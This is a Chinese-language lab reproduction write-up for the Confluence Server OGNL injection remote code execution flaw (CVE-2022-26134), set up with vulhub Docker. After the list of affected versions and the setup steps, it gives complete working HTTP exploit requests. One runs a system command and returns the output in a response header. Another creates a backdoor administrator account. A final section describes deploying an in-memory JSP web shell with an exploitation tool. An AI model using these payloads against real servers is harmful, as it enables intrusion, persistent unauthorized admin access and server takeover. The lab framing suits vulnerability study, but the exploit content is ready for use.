目录

漏洞相关介绍

漏洞类型

影响版本

漏洞复现

漏洞环境

复现过程

下载vulhub搭建

 申请license

初始化过程 ​编辑

 初始化空间

复现POC

rce

 加账户

武器化

内存shell

加账户

漏洞相关介绍

漏洞类型

命令执行

影响版本

Confluence Server and Data Center >= 1.3.0
Confluence Server and Data Center < 7.4.17
Confluence Server and Data Center < 7.13.7
Confluence Server and Data Center < 7.14.3
Confluence Server and Data Center < 7.15.2
Confluence Server and Data Center < 7.16.4
Confluence Server and Data Center < 7.17.4
Confluence Server and Data Center < 7.18.1

漏洞复现

漏洞环境

vulhub  Confluence Server 7.13.6

复现过程

下载vulhub搭建

docker-compose up -d

 申请license

访问：本地8090端口，点击申请license

默认勾选datacenter

 跳转,默认勾选

 填写完毕后

这里选择应jdbcurl连接，host为db,账号密码均为postgres

初始化过程

 这里出现两个勾选项目：1 设置管理员账户密码  2 连接到Jira

 Next,of

 初始化空间

复现POC

rce

以下为poc

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: 192.168.0.104:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Length: 2
 
 

 加账户

/%24%7B%23this.getUserAccessor%28%29.addUser%28%27httpvoid%27%2c%27pwn@1234%27%2c%27pwn@httpvoid.com%27%2c%27HttpVoid%27%2c@com.atlassian.confluence.util.GeneralUtil@splitCommaDelimitedString%28%22confluence-administrators,confluence-users%22%29%29%7D/

数据包：

GET /%24%7B%23this.getUserAccessor%28%29.addUser%28%27httpvoid%27%2c%27pwn@1234%27%2c%27pwn@httpvoid.com%27%2c%27HttpVoid%27%2c@com.atlassian.confluence.util.GeneralUtil@splitCommaDelimitedString%28%22confluence-administrators,confluence-users%22%29%29%7D/
 HTTP/1.1
Host: 192.168.0.104:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Length: 2
 
 

当前用户

执行以上poc后，退出当前用户

被增加的账户名和密码:

httpvoid

pwn@1234

武器化

内存shell

使用 woodpecker工具以及深蓝大佬写的武器化插件

扫描探测，勾选send to poc

 后利用，勾选send to Exploit,选择CVE-2022--26134，执行exploit

连接shell,jsp类型

加账户